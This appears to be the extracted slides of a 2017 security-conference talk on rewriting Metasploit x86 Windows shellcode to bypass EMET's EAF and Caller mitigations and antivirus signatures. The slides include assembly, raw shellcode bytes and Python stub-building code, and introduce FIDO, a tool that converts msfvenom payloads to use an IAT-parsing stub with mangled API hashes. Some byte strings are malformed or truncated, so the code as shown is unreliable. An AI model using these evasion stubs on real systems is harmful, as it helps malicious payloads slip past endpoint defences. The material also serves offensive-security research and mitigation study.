Teaching Old Shellcode New Tricks
REcon Brussels 2017
C’est Moi

- US Marine (out in 2001)
- Wrote BDF/BDFProxy
- Co-Authored Ebowla
- Found OnionDuke
- Work @ Okta
- Twitter: @midnite_runr
Why This Talk

• It’s fun

• It’s time to update publicly available shellcode
Part 1
Stephen Fewer’s Hash API

- SFHA or Hash API or MetaSploit Payload Hash
- Introduced: 8/2009
- Uses a 4 byte hash to identify DLL!WinAPI in EAT
- JMPs to the WinAPI; return to payload
- Some code borrowed from M. Miller’s 2003 Understanding Windows Shellcode paper

Typical SHFA Based Payload

[—SHFA—][the actual payload logic]
Typical SHFA Based Payload

1

[.SHFA.][the actual payload logic]
Typical SHFA Based Payload

[—SHFA—][the actual payload logic]
Typical SHFA Based Payload

[—SHFA—][the actual payload logic]
Typical SHFA Based Payload

[—SHFA—][the actual payload logic]

1
2

[some winAPI]

3
Typical SHFA Based Payload

[SHFA] [the actual payload logic]

1 2

[SHFA] [the actual payload logic]

3 4

[some winAPI]
Typical SHFA Based Payload

[—SHFA—][the actual payload logic]

1

2

3

[some winAPI]

4

5, Continue to 2 until done
Defeating SFHA

• EMET

• Piotr Bania Phrack 63:15 // HAVOC – POC||GTFO 12:7

• CFG/RFG
EMET Caller/EAF(+)

- EAF(+)
  - Introduced: 2010/2014(+)
  - Protect reading KERNEL32/NDTLL and KERNELBASE(+)
- Caller
  - 2013
  - Block ret/jmp into a winAPI (Anti/rop) for critical functions
EMET is EOL

- Supported through July 31, 2018
- Still works**

** Depends on threat model
Tor Browser Exploit vs EMET
EMET detected **StackPivot** mitigation and will close the application: **firefox.exe**
Bypassing EMET EAF(+)

- 2010: Berend-Jan Wever (Skypher Blog) – ret-2-libc via ntdll

- 1/2012 Piotr Bania – Erase HW Breakpoints via NtContinue

- 9/2014 – Offensive Security – EAF+ bypass via EMET function reuse calling ZwSetContextThread directly

http://piotrbania.com/all/articles/anti_emet_eaf.txt
https://www.offensive-security.com/vulndev/disarming-emet-v5-0/
Bypassing EMET Caller

2/2014 – Jared Demot – Demo’ed a payload that directly used LoadLibraryA (LLA)

```assembly
mov ebx, 0x7C37A0B8
mov ebx, [ebx]
call ebx //LoadLibraryA
```
IAT Based Payloads in BDF

- May 30, 2014
- Added IAT based payloads/shellcode to BDF
- Directly used IAT API thunks
- This bypassed EMET Caller/EAF(+) checks
Position Independent
IAT Shellcode

• Dec, 2014

• 12/2003 – Skape (M. Miller) Understanding Windows Shellcode

• 2005 – Piotr Bania – IAT Parser – Phrack 63:15

http://phrack.org/issues/63/15.html
following example gets LoadLibraryA address from IAT

IMAGEBASE equ 00400000h

mov ebx,IMAGEBASE
mov eax,ebx
add eax,[eax+3ch] ; PE header

mov edi,[eax+80h] ; import RVA
add edi,ebx        ; normalize
xor ebp,ebp

mov edx,[edi+10h] ; pointer to addresses
add edx,ebx       ; normalize

mov esi,[edi]     ; pointer to ascii strings
add esi,ebx       ; normalize

@loop:
    mov eax,[esi]
    add eax,ebx
    add eax,2
    cmp dword ptr [eax],'daOL' ; is this LoadLibraryA?
    jne @l

    add edx,ebp ; normalize
    mov edx,[edx] ; edx=address of
    int 3 ; LoadLibraryA

@l:
    add ebp,4 ; increase counter
    add esi,4 ; next name
    jmp @loop ; loop it

;------------------SNIP-------------------------------
"\x31\xd2"
"\x64\x8b\x52\x30"
"\x8b\x52\xo8"
"\x8b\xda"
"\x03\x52\x3c"
"\x8b\xba\x80\x00\x00\x00"
"\x03\xfb"

# findImport:
"\x8b\x57\x0c"
"\x03\xd3"
"\x81\x3a\x4b\x45\x52\x4e"
"\x75\x09"
"\x81\x7a\x04\x45\x4c\x33\x32"
"\x74\x05"
"\x83\xc7\x14"
"\xeb\xe5"

# saveBase:
"\x57"
"\xeb\x3e"

# xor edx, edx
# mov edx, dword ptr [edx + 0x30]
# mov edx, dword ptr [edx + 8]
# mov ebx, edx
# add edx, dword ptr [edx + 0x3c]
# mov edi, dword ptr [edx + 0x80]
# add edi, ebx
# mov edx, dword ptr [edi + 0xc]
# add edx, ebx
# cmp dword ptr [edx], 0x4e52454b
# je 0x102f
# add edi, 0x14
# jmp 0x101d
# push edi
# jmp 0x106e

; prep edx for use
; PEB
; PEB.imagebase
; Set ebx to imagebase
; "PE"
; Import Table RVA
; Import table in memory offset

; Offset for Import Directory Table Name RVA
; Offset in memory
; cmp nrek
; cmp el32
; jmp saveBase
; inc to next import
; jmp findImport

; save addr of import base
; jmp loadAPIs
Emailed the EMET Team
Reminder:
EMET EAF Mitigations Will block the In Memory Excel Executions
I was talking about earlier
cc: @Cneelis
IAT Based Stub

- LoadLibraryA(LLA)/GetProcAddress(GPA) in Main Module
shellcode1 = bytes("\xfc\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\n    # next_mod\n    \x8b\x72\x28\x6a\x18\x59\x31\xff\n    # loop_modname\n    \x31\xc0\n    # xac\n    \x3c\x61\x7c\x02\x2c\x20\n    # not_lowercase\n    \xc1\xcf\x0d\x01\xc7\xe2\xf0\n    , "iso-8859-1")

shellcode2 = b"\x81\xff"  # cmp edi, DLL_HASH
    shellcode2 += struct.pack("<I", self.DLL_HASH)

shellcode3 = bytes("\x8b\x12\x75\xdb\n    # iatparser\n    \x89\xda\n    \x03\x52\x3c\n    \x8b\xba\x80\x00\x00\x00\n    \x01\xdf\n    # findImport\n    \x8b\x52\x8c\n    # mov edx, [edi + Import Offset for Import Directory Table Name RVA]
IAT Based Stub(s)

- LoadLibraryA/GetProcAddress in Main Module
- LoadLibraryA/GetProcAddress in a loaded Module (dll)
GetProcAddress Only Stub
GetProcAddress Only Stub

GetProcAddress → LoadLibraryA
GetProcAddress Only
Stub

GetProcAddress

LoadLibraryA

LoadLibraryA.Handle = GetProcAddress(Kernel32.addr, 'LoadLibraryA')
GetProcAddress Only Stub

LoadLibraryA.Handle = GetProcAddress(Kernel32.addr, 'LoadLibraryA')

Push eax; LLA is in EAX
mov ebx, esp; mov ptr to LLA in ebx
...
call [ebx]
IAT Based Stub(s)

• LoadLibraryA(LLA)/GetProcAddress(GPA) in main module

• LLA/GPA in a loaded module (dll)

• GPA to LLA in main module

• GPA to LLA in loaded module
System Binaries/DLLs with LLAGPA or GPA in IAT

<table>
<thead>
<tr>
<th></th>
<th>LLAGPA</th>
<th>GPA</th>
</tr>
</thead>
<tbody>
<tr>
<td>XPSP3</td>
<td>1300</td>
<td>5426</td>
</tr>
<tr>
<td>VISTA</td>
<td>645</td>
<td>26855</td>
</tr>
<tr>
<td>WIN7</td>
<td>675</td>
<td>48383</td>
</tr>
<tr>
<td>WIN8</td>
<td>324</td>
<td>31158</td>
</tr>
<tr>
<td>WIN10</td>
<td>225</td>
<td>50522</td>
</tr>
</tbody>
</table>
FireEye Flash Malware w/ EMET Bypass Jun 06, 2016

https://www.fireeye.com/blog/threat-research/2016/06/angler_exploit_kite.html
The EMET Serendipity: EMET's (In)Effectiveness Against Non-Exploitation Uses

POC: https://github.com/ShellcodeSmuggler/IAT_POC
What now?

- More payloads
- Many MetaSploit payloads were based off of Hash API stub
- Much work
- Some ideas
Part II
Two Ideas

- Remove SFHA and replace it with X
- Build something to rewrite the payload logic for use with an IAT parsing stub
REWRITE ALL THE THINGS
MSF Winx86 Payloads
Follow a pattern

```
push byte 0          ; flags
push byte 4          ; length = sizeof( DWORD );
push esi             ; the 4 byte buffer on the stack to hold the second stage length
push edi             ; the saved socket
push 0x5FC8D902      ; hash( "ws2_32.dll", "recv" )
call ebp            ; recv( s, &dwLength, 4, 0 );
```
Workflow

- Take Input via stdin or from file
- Disassemble
- Capture blocks of instructions
- Capture API calls
- Capture control flow between two locations
- Protect LLA/GPA registers from being clobbered
LOE
LOE

- Five days straight at about 12–15 hour days
LOE

• Five days straight at about 12–15 hour days
• When I solved one problem, 2–3 more appeared
LOE

• Five days straight at about 12–15 hour days

• When I solved one problem, 2–3 more appeared

• There is a point where a manual rewrite would have been easier – I crossed it
• Five days straight at about 12–15 hour days

• When I solved one problem, 2–3 more appeared

• There is a point where a manual rewrite would have been easier – I crossed it

• 🔥BURN IT DOWN🔥
Next idea
Next idea

[—SFHA—]
Next idea

[---SFHA---]  [the actual payload logic]
Next idea

[the actual payload logic]
Next idea

[IAT Stub]         [the actual payload logic]
Next idea

[IAT Stub] [offset table] [the actual payload logic]
Some requirements

• Support Read/Execute Memory

• Try to keep it small

• Support any Metasploit Shellcode that uses SFHA
Workflow

- Take Input via stdin or from file
- Disassemble
- Capture blocks of instructions
- Capture API calls
- Build a lookup/offset table
- Find an appropriate IAT for the EXE
- OUTPUT
Offset Table Approach
Offset Table
Approach

[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]
Offset Table
Approach

<table>
<thead>
<tr>
<th>DLL</th>
<th>API</th>
</tr>
</thead>
<tbody>
<tr>
<td>876f8b31</td>
<td>XX</td>
</tr>
<tr>
<td>XX</td>
<td>XX</td>
</tr>
<tr>
<td>a2a1de0</td>
<td>XX</td>
</tr>
<tr>
<td>XX</td>
<td>XX</td>
</tr>
<tr>
<td>9dbd95a6</td>
<td>XX</td>
</tr>
<tr>
<td>XX</td>
<td>XX</td>
</tr>
</tbody>
</table>
Offset Table Approach

DLL  API
[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00'
Offset Table

Approach

DLL  API
[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00
Offset Table Approach

[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00'
Offset Table Approach

[b'RtlExitUserThread\00 ExitThread\00 kernel32\00 WinExec\00 GetVersion\00 ntdll\00']
Offset Table Approach

DLL   API
[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00'
Offset Table Approach

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00'
Offset Table Approach

[876f8b31][XX][XX][a2a1de0][XX][XX][9dbd95a6][XX][XX]

b'RtlExitUserThread\x00ExitThread\x00kernel32\x00WinExec\x00GetVersion\x00ntdll\x00'
self.stub = b''
self.stub += b'\xe9'
self.stub += struct.pack("<I", len(self.lookup_table))

self.stub += self.lookup_table

table_offset = len(self.stub) - len(self.lookup_table)

self.stub += b'\x33\xC0'
# XOR EAX,EAX
self.stub += b'\xE8\x00\x00\x00\x00'
# CALL $+5
self.stub += b'\x5E'
# POP ESI
self.stub += b'\x8B\x8E'
# MOV ECX, DWORD PTR [ESI+XX]
# MOV 1st Hash into ECX

# updated_offset
updated_offset = 0xFFFFFFFF - len(self.stub) - table_offset + 14

# Check_hash
self.stub += struct.pack("<I", 0xffffffff-len(self.stub) - table_offset + 14)
self.stub += b'\x3B\x4C\xc4\x24\x24'
# CMP ECX,DWORD PTR SS:[ESP+24]
self.stub += b'\x74\x05'
# JE SHORT 001C0191
self.stub += b'\x83\xC6\x06'
# ADD ESI,6
self.stub += b'\x8B\xEF'
# JMP SHORT 001C0191
# repeat

# FOUND_A_MATCH
self.stub += b'\x8B\x8E'

self.stub += struct.pack("<I", updated_offset + 4)
self.stub += b'\x8A\xC1'

# Get DLL and Call LLA for DLL Block
self.stub += b'\x8B\xCE'

self.stub += b'\x03\xC8'

self.stub += b'\x81\xE9'

self.stub += struct.pack("<I", abs(updated_offset - 0xffffffff +3))
self.stub += b'\x51'
# PUSH ECX
self.stub += b'\xFF\x13'
# CALL DWORD PTR DS:[EBX]
# Call KERNEL32.LoadLibraryA (DLL)
# Get API and Call GPA
self.stub += b"\x8B\xDB"
self.stub += b"\x33\xC9"
self.stub += b"\x8B\x8E"
self.stub += struct.pack("<I", updated_offset + 4)
self.stub += b"\x8A\xC5"
self.stub += b"\x8B\xCE"
self.stub += b"\x03\xC8"
self.stub += b"\x81\xE9"
self.stub += struct.pack("<I", abs(updated_offset - 0xffffffff + 4))
self.stub += b"\x51"
self.stub += b"\x52"
self.stub += b"\xFF\x55\x00"
# Call API
self.stub += b"\x89\x44\x24\x1C"
self.stub += b"\x61"
self.stub += b"\x55"
self.stub += b"\x52"
self.stub += b"\xFF\xD0"
# Recover
self.stub += b"\x55"
self.stub += b"\xe8\x00\x00\x00\x00"
self.stub += b"\x55"
self.stub += b"\xe8\xED"
self.stub += struct.pack("<I", len(self.selected_payload)+ len(self.stub) -3)
self.stub += b"\xC3"

# MOV EDX,EAX ; Save DLL Handle to EDX
# XOR EAX,EAX ; Prep EAX for use
# MOV ECX,DWORD PTR DS:[ESI-XX] ; Put API Offset in ECX
# MOV AL,CH ; mov API offset to ECX
# MOV ECX,ESI ; mov offset to ecx
# ADD ECX,EAX ; find API location
# SUB ECX,XX ; normalize for ascii value
# PUSH ECX ; Push API on the stack
# PUSH EDX ; Push DLL handle on the stack
# CALL DWORD PTR DS:[EDX] ; Call GetProcAddress(DLL.handle, API)
# MOV DWORD PTR SS:[ESP+1C],EAX ; SAVE EAX for popad ends up in eax
# POPAD ; Restore registers and call values
# POP EBX ; get return addr
# POP ECX ; clear Hash API from msf caller
# CALL EAX ; call target API
# push ebp ; push return addr into msf caller
# call $+5 ; get pc
# POP EBX ; current EIP in EBP
# SUB EBX,XX ; To reset the location of the api call back
# RETN ; return back into msf payload logic
The new workflow

[IAT Stub] [LookupTable] [the actual payload logic]
The new workflow

1

[IAT Stub][Lookuptable][the actual payload logic]
The new workflow

[IAT Stub][Lookuptable][the actual payload logic]
The new workflow

[IAT Stub ] [Lookuptable] [the actual payload logic]

[some winAPI]
The new workflow

1. [IAT Stub] [Lookuptable] [the actual payload logic]
2. [some winAPI]
The new workflow

1. [IAT Stub]
2. [Lookuptable]
3. [the actual payload logic]
4. [some winAPI]
The new workflow

1. [IAT Stub]
2. [Lookuptable]
3. [some winAPI]
4. [the actual payload logic]
5. [the actual payload logic]
The new workflow

1. [IAT Stub]
2. [Lookuptable]
3. [some winAPI]
4. [the actual payload logic]
5. 6, Continue to 2 until done
• The initial POC took < 12 hours

• Adding the workflow and stubs: 12 hours

• Finalizing the tool: 😳.AP

• But I’m happy 😎
About those API Hashes
About those API Hashes

- They are now meaningless
About those API Hashes

- They are now meaningless
- AVs depend on them for signatures
About those API Hashes

- They are now meaningless
- AVs depend on them for signatures
- What happens if we mangle them?
AV Demo

DEMO: https://youtu.be/p3vFRx5dur0
Introducing FIDO

```bash
$ fido git:(master) × ./fido.py -h
usage: use "fido.py --help" for more information

This code imports metasploit sourced x86 windows shellcode that employs
Stephen Fewers Hash API stub and replaces it to bypass EMET Caller/EAF checks
and other bolt on mitigations. Accepts msfvenom output from stdin or from disk.
Doesn't do logic checks on provided payload to ensure it is x86 (32bit) or for windows
OS (up to you to be correct)
```
optional arguments:
  -h, --help          show this help message and exit
  -b TARGETBINARY, --targetbinary TARGETBINARY
                      Binary that shellcode will be customized to (Optional)
  -t OS, --OSTarget OS OS target for looking for target DLL Import Tables: win7, win8, winVista, win10
  -s CODE, --shellcode CODE
                      x86 Win Shellcode with Stephen Fewers Hash API prepended (from msfvenom) can be from stdin
  -d DLL, --DLLName DLL
                      If you know the DLL you are targeting enter this, no need for OS, DLL flags
  -l IMPORTNAME, --Import IMPORTNAME
                      For use with -d and ExternGPA (-p), specify either 'kernel32.dll' or
                      'api-ms-win-core-libraryloader' -- you need to know with import you are targeting.
                      To know, run without -d for a list of candidates. Default is kernel32.dll but not always right!
Introducing FIDO

-m, --mangle
Mangle metasploit hash apis from their original values (you want to do this)

-o OUTPUT, --output OUTPUT
How you would like your output: [c], [p]ython, [c]sharp

-p PARSER_STUB, --parser_stub PARSER_STUB
By default this assumes that GetProcAddress (GPA) is in the targetbinary's Import Address Table (IAT) if no targetbinary or DLL name is provided.
Four options:
  GPA  - GPA is in targetbinary IAT (default)
  LLAGPA - LoadlibraryA(LLA)/GPA is in the targetbinary IAT (smallest shellcode option)
  ExternGPA -- need DLLName or targetbinary to use
  ExternLLAGPA -- need DLLName or targetbinary to use

-n, --donotfail
Default: Fail if Stephen Fewers Hash API stub is not there, use -n to bypass
Issues with some DLLs

System Binaries/DLLs with LLAGPA or GPA in IAT

<table>
<thead>
<tr>
<th></th>
<th>LLAGPA</th>
<th>GPA</th>
</tr>
</thead>
<tbody>
<tr>
<td>XPSP3</td>
<td>1300</td>
<td>5426</td>
</tr>
<tr>
<td>VISTA</td>
<td>645</td>
<td>26855</td>
</tr>
<tr>
<td>WIN7</td>
<td>675</td>
<td>48383</td>
</tr>
<tr>
<td>WIN8</td>
<td>324</td>
<td>31158</td>
</tr>
<tr>
<td>WIN10</td>
<td>225</td>
<td>50522</td>
</tr>
</tbody>
</table>
API-MS-WIN-CORE*
API-MS-WIN-CORE*

- These files are the exposed implementation of the windows API
API-MS-WIN-CORE*

- These files are the exposed implementation of the windows API
- Existed since win7
API-MS-WIN-CORE*

- These files are the exposed implementation of the windows API
- Existed since win7
- GPA is implemented via API-MS-WIN-CORE-LIBRARYLOADER-*.DLL
API-MS-WIN-CORE*

- These files are the exposed implementation of the windows API

- Existed since win7

- GPA is implemented via API-MS-WIN-CORE-LIBRARYLOADER-*.DLL

- Normally used in system dlls
API-MS-WIN-CORE*

- These files are the exposed implementation of the windows API
- Existed since win7
- GPA is implemented via API-MS-WIN-CORE-LIBRARYLOADER-*.DLL
- Normally used in system dlls
- Can be called by userland applications via IAT parsing
Because it is in...
Because it is in...

Kernel32.dll
<table>
<thead>
<tr>
<th>pFile</th>
<th>Data</th>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000F10</td>
<td>000CF282</td>
<td>Hint/Name RVA</td>
<td>00B GetModuleHandleW</td>
</tr>
<tr>
<td>00000F14</td>
<td>000CF296</td>
<td>Hint/Name RVA</td>
<td>0009 GetModuleHandleExA</td>
</tr>
<tr>
<td>00000F18</td>
<td>000CF2AC</td>
<td>Hint/Name RVA</td>
<td>000A GetModuleHandleExW</td>
</tr>
<tr>
<td>00000F1C</td>
<td>000CF2C2</td>
<td>Hint/Name RVA</td>
<td>000F LoadResource</td>
</tr>
<tr>
<td>00000F20</td>
<td>000CF2D2</td>
<td>Hint/Name RVA</td>
<td>0012 LockResource</td>
</tr>
<tr>
<td>00000F24</td>
<td>000CF2E2</td>
<td>Hint/Name RVA</td>
<td>0013 SizeofResource</td>
</tr>
<tr>
<td>00000F28</td>
<td>000CF2F4</td>
<td>Hint/Name RVA</td>
<td>000C GetProcAddress</td>
</tr>
<tr>
<td>00000F2C</td>
<td>000CF306</td>
<td>Hint/Name RVA</td>
<td>0006 GetModuleFileNameA</td>
</tr>
<tr>
<td>00000F30</td>
<td>000CF31C</td>
<td>Hint/Name RVA</td>
<td>0004 FreeLibraryAndExitThread</td>
</tr>
<tr>
<td>00000F34</td>
<td>000CF338</td>
<td>Hint/Name RVA</td>
<td>0002 FindStringOrdinal</td>
</tr>
<tr>
<td>00000F38</td>
<td>000CF34C</td>
<td>Hint/Name RVA</td>
<td>0000 DisableThreadLibraryCalls</td>
</tr>
<tr>
<td>00000F3C</td>
<td>000CF368</td>
<td>Hint/Name RVA</td>
<td>000D LoadLibraryExA</td>
</tr>
<tr>
<td>00000F40</td>
<td>000CF37A</td>
<td>Hint/Name RVA</td>
<td>0007 GetModuleFileNameW</td>
</tr>
<tr>
<td>00000F44</td>
<td>000CF390</td>
<td>Hint/Name RVA</td>
<td>0001 FindResourceExW</td>
</tr>
<tr>
<td>00000F48</td>
<td>000CF3A2</td>
<td>Hint/Name RVA</td>
<td>0003 FreeLibrary</td>
</tr>
<tr>
<td>00000F4C</td>
<td>000CF3B0</td>
<td>Hint/Name RVA</td>
<td>000E LoadLibraryExW</td>
</tr>
<tr>
<td>00000F50</td>
<td>000CF3C2</td>
<td>Hint/Name RVA</td>
<td>0005 FreeResource</td>
</tr>
<tr>
<td>00000F54</td>
<td>00000000</td>
<td>End of Imports</td>
<td>API-MS-Win-Core-LibraryLoader-L1-1-0.dll</td>
</tr>
<tr>
<td>00000F58</td>
<td>000CF3D2</td>
<td>Hint/Name RVA</td>
<td>0007 PeekNamedPipe</td>
</tr>
<tr>
<td>00000F5C</td>
<td>000CF3E2</td>
<td>Hint/Name RVA</td>
<td>0003 DisconnectNamedPipe</td>
</tr>
<tr>
<td>00000F60</td>
<td>000CF3F8</td>
<td>Hint/Name RVA</td>
<td>0002 CreatePipe</td>
</tr>
</tbody>
</table>
SAY AGAIN?
SAY AGAIN?

• We just need GPA in any DLL Import Table to access the entire windows API
• We just need GPA in any DLL Import Table to access the entire windows API

• Since win7, GPA has been in Kernel32.dll Import Table
• We just need GPA in any DLL Import Table to access the entire windows API

• Since win7, GPA has been in Kernel32.dll Import Table

• We’ve had a stable EMET EAF(+) / Caller bypass opportunity since Win7 (works for win7 – win10)
One more thing

- GetProcAddress is not the only one

- LoadlibraryExA is in API–MS–WIN–CORE–LIBRARYLOADER–L1–2–0.dll

  LoadLibraryA('moo.dll') == LoadLibraryExA('moo.dll', 0)

- This is completely reliable for Win7

- Maybe Windows 8

- Not on windows Win10 – Must use ExternGPA with API–MS–WIN–CORE–LIBRARYLOADER–L1–2–0.dll
Tor Exploit w/My Stub vs EAF+/Caller

DEMO:  https://youtu.be/oqHT6Ienudg
Issues

• Multi-staged payloads should not use SFHA – will be flagged by EMET

• Meterpreter DLL flagged by EMET EAF because of Reflective DLL loader

• Updating MSF will take some work

• Need to do winx64
Questions?

- CFG/RGB Implications? \_(ツ)_/¯

- Get the code: https://github.com/secretsquirrel/fido

- Thanks: @SubTee, @FreedomCoder, @Wired33, @__blue__